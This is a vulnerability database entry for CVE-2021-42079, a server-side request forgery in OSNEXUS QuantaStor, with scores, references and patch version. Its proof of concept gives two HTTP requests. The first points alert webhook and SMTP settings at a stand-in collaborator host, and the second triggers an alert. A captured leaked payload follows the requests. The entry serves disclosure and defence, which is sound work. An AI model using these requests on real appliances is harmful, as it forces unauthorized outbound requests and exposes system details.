CVE-2021-42079 json
SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355
published 3y ago modified 4mo ago also EUVD-2021-29065
- cvss
- 6.2
- version 3.1, CNA
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 0.7%
- EPSS 0.7% chance of exploitation in 30 days, percentile 53%
- public exploits
- 0
- none known
Summary
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1
Host: <HOSTNAME> Accept-Encoding: gzip, deflate
Accept: */* Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert with this request
GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1
Host: <HOSTNAME> Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json
Content-Length: 1
The post request received by <TARGET> looks like this: {
### Python FLASK stuff ####
'endpoint': 'index',
'method': 'POST',
'cookies': ImmutableMultiDict([]),
### END Python FLASK stuff ####
'data': b'{ "attachments": [ {
"fallback": "[122] test / test.",
"color": "#aa2222",
"title": "[122] test",
"text": "test",
"fields": [ {
"title": "Alert Severity",
"value": "CRITICAL",
"short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)",
"short": true
}, {
"title": "System / Driver / Kernel Ver",
"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",
"short": false
}, {
"title": "System Startup",
"value": "Fri Aug 6 16-02-55 2021",
"short": true
}, {
"title": "SSID",
"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",
"short": true
}, ],
"footer": "QuantaStor Call-home Alert",
"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",
"ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF #####
'headers': {
'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790'
}, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' }
#### END FLASK REQUEST STUFF #####
Patch / fix
- OSNEXUS QuantaStor 6.0.0.355
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- Exploitation
- none
- Automatable
- no
- Technical impact
- partial
- Assessed
- 2y ago
Exploit prediction
0.69% chance of exploitation in the next 30 days, higher than 53% of all scored CVEs (FIRST EPSS, 2026-11-09).
Exploits and checks
- cisrt.divd.nl https://cisrt.divd.nl/DIVD-2021-00020/ referenced PoC, tagged "exploit" by a source, unverified
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| CNA | 3.1 | 6.2 | CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N |
| NVD | 3.1 | 4.9 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
Affected products
- OSNEXUS QuantaStor
Classification
- Weakness
-
- CWE-918 Server-Side Request Forgery
References
-
cisrt.divd.nl
/DIVD-2021-00020/
third-party-advisory, exploit, technical-description
-
wbsec.nl
/osnexus
third-party-advisory, technical-description
-
osnexus.com
/products/software-defined-storage
product
-
csirt.divd.nl
/CVE-2021-42079
third-party-advisory
-
divd.nl
/DIVD-2021-00020
third-party-advisory
Sources
- CVE List CVE-2021-42079
- NVD CVE-2021-42079
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.